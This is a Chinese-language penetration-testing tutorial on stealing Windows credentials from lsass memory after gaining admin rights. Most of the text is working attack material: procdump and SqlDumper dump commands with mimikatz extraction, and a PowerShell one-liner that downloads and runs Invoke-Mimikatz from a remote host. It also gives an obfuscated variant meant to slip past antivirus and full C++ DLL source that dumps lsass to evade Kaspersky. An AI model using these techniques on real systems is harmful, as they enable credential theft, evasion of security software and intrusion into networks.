內網滲透時,獲得主機管理員許可權後,通常會抓取使用者的明文密碼或hash,進行pth攻擊。
大部分情況會遇到防護軟體,常規抓取方法失效,因此需要對防護進行繞過。
Procdump.exe
Procdump是微軟官方釋出的工具,使用該工具可以把lsass的記憶體dump下來,可以繞過大多數的防護軟體。
首先使用procdump.exe把程序lsass.exe 的記憶體dump下來
procdump.exe -accepteula -ma lsass.exe lsass.dmp
實戰中把 lsass.dmp 下載下來,在相同版本的作業系統使用mimikatz讀取密碼hash。
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit
SqlDumper.exe
SqlDumper也屬於微軟出品,存在於SQL Server資料夾中,大多數殺軟不會攔截。
預設存放在C:\Program Files\Microsoft SQL Server\number\Shared,number代表SQL Server的版本。
如果目標機器沒有安裝SQL Server,可以自己上傳SqlDumper.exe。
tasklist /svc | findstr lsass.exe 檢視lsass.exe 的PID號 Sqldumper.exe ProcessID 0 0x01100 匯出mdmp檔案
實戰中下把生成的mdmp檔案下載到本地,使用相同的作業系統開啟。
mimikatz.exe "sekurlsa::minidump SQLDmpr0001.mdmp" "sekurlsa::logonPasswords full" exit
可過360,無法過卡巴斯基。
powershell免殺
結合powershell的免殺,載入Invoke-Mimikatz.ps1指令碼獲取密碼hash。
使用命令遠端載入ps1指令碼。
powershell IEX (New-Object Net.WebClient).DownloadString('http://x.x.x.x/ps/Invoke-Mimikatz.ps1'); Invoke-Mimikatz
會被360攔截,繞過方法很多,這裡可以使用分割繞過。
powershell "$a='IEX((New-Object Net.WebClient).DownloadString(''ht';$b='tp://x.x.x.x/ps/Invoke-Mimikatz.ps1'')); Invoke-Mimikatz';IEX ($a+$b)"
無法繞過卡巴斯基。
繞過卡巴斯基抓取lsass中密碼
卡巴斯基對lsass.exe防護相當變態,上面的幾種方法都無法繞過卡巴斯基。
使用國外大佬XPN使用RPC控制lsass載入SSP的程式碼,https://gist.github.com/xpn/c7f6d15bf15750eae3ec349e7ec2380e
將三個檔案下載到本地,使用visual studio進行編譯,需要修改了幾個地方。
(1)新增如下程式碼
#pragma comment(lib, "Rpcrt4.lib") (引入Rpcrt4.lib庫檔案)
(2)將.c檔案字尾改成.cpp (使用了c++程式碼,需要更改字尾)
(3) 編譯時選擇x64 (XPN大佬提供的是64位程式碼)
編譯程式碼得到.exe檔案。
然後用生成的exe,載入dump記憶體的dll檔案,這裡使用的是奇安信A-team團隊公佈的原始碼,並在基礎上,增加了自動獲取lsass的PID號功能,無需每次使用重複編譯。
dll原始碼如下:
#include <cstdio> #include <windows.h> #include <DbgHelp.h> #include <iostream> #include <string> #include <map> #include <TlHelp32.h> #pragma comment(lib,"Dbghelp.lib") using namespace std; int FindPID() { PROCESSENTRY32 pe32; pe32.dwSize = sizeof(pe32); HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (hProcessSnap == INVALID_HANDLE_VALUE) { cout << "CreateToolhelp32Snapshot Error!" << endl;; return false; } BOOL bResult = Process32First(hProcessSnap, &pe32); while (bResult) { if (_wcsicmp(pe32.szExeFile, L"lsass.exe") == 0) { return pe32.th32ProcessID; } bResult = Process32Next(hProcessSnap, &pe32); } CloseHandle(hProcessSnap); return -1; } typedef HRESULT(WINAPI* _MiniDumpW)( DWORD arg1, DWORD arg2, PWCHAR cmdline); typedef NTSTATUS(WINAPI* _RtlAdjustPrivilege)( ULONG Privilege, BOOL Enable, BOOL CurrentThread, PULONG Enabled); int dump() { HRESULT hr; _MiniDumpW MiniDumpW; _RtlAdjustPrivilege RtlAdjustPrivilege; ULONG t; MiniDumpW = (_MiniDumpW)GetProcAddress( LoadLibrary(L"comsvcs.dll"), "MiniDumpW"); RtlAdjustPrivilege = (_RtlAdjustPrivilege)GetProcAddress( GetModuleHandle(L"ntdll"), "RtlAdjustPrivilege"); if (MiniDumpW == NULL) { return 0; } // try enable debug privilege RtlAdjustPrivilege(20, TRUE, FALSE, &t); wchar_t ws[100]; swprintf(ws, 100, L"%hd%hs", FindPID(), " C:\\1.bin full"); MiniDumpW(0, 0, ws); return 0; } BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: dump(); break; case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; }
在測試機中安裝卡巴斯基進行測試,使用Procdump會被攔截。
把編譯好的檔案exe和dll放在同一目錄下。
使用管理員許可權執行exe,載入dll檔案。
存在三個需要注意的點:
1、呼叫dll檔案要是完整的絕對路徑
2、檔案要放在英文路徑下
3、在win7下測試只能執行一次,第二次執行電腦會重啟,其它系統未測試。
成功繞過防護生成了1.bin檔案。
實戰中把生成的檔案下載到本地,然後在版本相同的作業系統使用mimikatz讀取。
mimikatz# sekurlsa::minidump 1.bin mimikatz# sekurlsa::loginpasswords full
成功讀取到密碼hash。
對於無法讀出明文的系統,可以嘗試線上破解hash獲取明文。
https://www.objectif-securite.ch/en/ophcrack
http://cracker.offensive-security.com/index.php
參考連結
https://www.jianshu.com/p/7ccf6e15fbe0
https://blog.xpnsec.com/exploring-mimikatz-part-2/
https://blog.csdn.net/xiangshen1990/article/details/104872566
